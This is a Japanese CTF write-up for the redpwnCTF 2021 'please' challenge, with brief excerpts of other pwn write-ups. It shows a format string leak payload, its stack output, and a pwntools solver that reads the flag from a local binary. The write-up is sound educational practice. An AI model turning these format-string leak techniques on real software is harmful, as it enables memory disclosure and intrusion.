redpwnCTF 2021
FSB
Learn More →
配布されたCのソースファイルを見ると自明なFSBがある(30行目)。
if (!strncmp(buffer, "please", 6)) {
printf(buffer); // <- here
puts(" to you too!");
}
よって、FSBによってFlagを読み出す。
pleaseは706c65617365
(なのでリトルエンディアンでは657361656c70
)。
what do you say?
please %1$016llx %2$016llx %3$016llx %4$016llx %5$016llx %6$016llx %7$016llx %8$016llx %9$016llx %10$016llx
please 00007ffc7dab7d96 0000000000000001 0000000000000000 00005574e25a1010 00007f793512cd50 2520657361656c70 786c6c3631302431 6c36313024322520 313024332520786c 24342520786c6c36 to you too!
そうすると、6番目に657361656c70
があらわれています。
次に、rspから+0x200
にFlagデータの先頭アドレスedx[1]がある。
0x000055555555518f <+47>: lea r13,[rsp+0x200]
~~~
(中略)
~~~
0x00005555555551e7 <+135>: mov edx,0x200
0x00005555555551ec <+140>: mov rsi,r13
0x00005555555551ef <+143>: mov edi,eax
0x00005555555551f1 <+145>: mov r12d,eax
0x00005555555551f4 <+148>: xor eax,eax
0x00005555555551f6 <+150>: call 0x555555555130 <read@plt>
以上より、6 + 64 = 70番目からデータをリークすればいいことがわかる。
from pwn import *
elf = ELF("./please")
io = process(elf.path)
payload = "please "
for i in range(5):
payload += "%" + str(70+i) + "$llx "
io.sendlineafter("?", payload)
io.recvuntil(" ")
l = b""
for i in range (5):
l += p64(int(io.recvuntil(" "), 16))
print(l)
算術演算操作とI/O操作に使用されるレジスタ ↩︎
solverのソースコードは、GitHubにあります。 pwn_monster1 TL;DR ncしたら、nameに入力した文字が溢れそうなのでAを大量に入力する FLAG GET writeup ncした結果
Apr 26, 2022CTF後記 最終順位が48位。 Pwnにもう少し難しい問題が来るかなと予想していて、Pwnだけでまぁまぁ点数が取れるんじゃないかと思っていたが、その予想を外した。 みんなが解ける問題(pwn_monster) or 解けない問題(baby_IO_jail) に二極分化されていて悲しい。もう少し...出してほしかった。 ただ、Pwnに関しては、毎回初心者向けCTFでも5割以下の正答率だったので初参加の人にとっては「調べれば解ける」問題だったので良かった。 CryptoやWebなどの他の分野に挑戦するいい機会になった。 それと同時に、CryptoやWebもしっかり学ばないと良い順位を取ることができないことも学んだ。
Sep 6, 2021writeup 問題名からreturn addressを書き換えると予想できる。 Let's debug!!! disass main gef➤ disass main Dump of assembler code for function main: 0x0000000000401191 <+0>: push rbp 0x0000000000401192 <+1>: mov rbp,rsp => 0x0000000000401195 <+4>: mov rax,QWORD PTR [rip+0x2eb4] # 0x404050 <stdout@@GLIBC_2.2.5>
Aug 18, 2021writeup main関数 undefined8 main(void) { int64_t iVar1; char *s1; puts("It\'s battle day archer! Have you got what it takes?"); printf("Answer [yes/no]: "); fflush(_reloc.stdout);
Aug 18, 2021or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up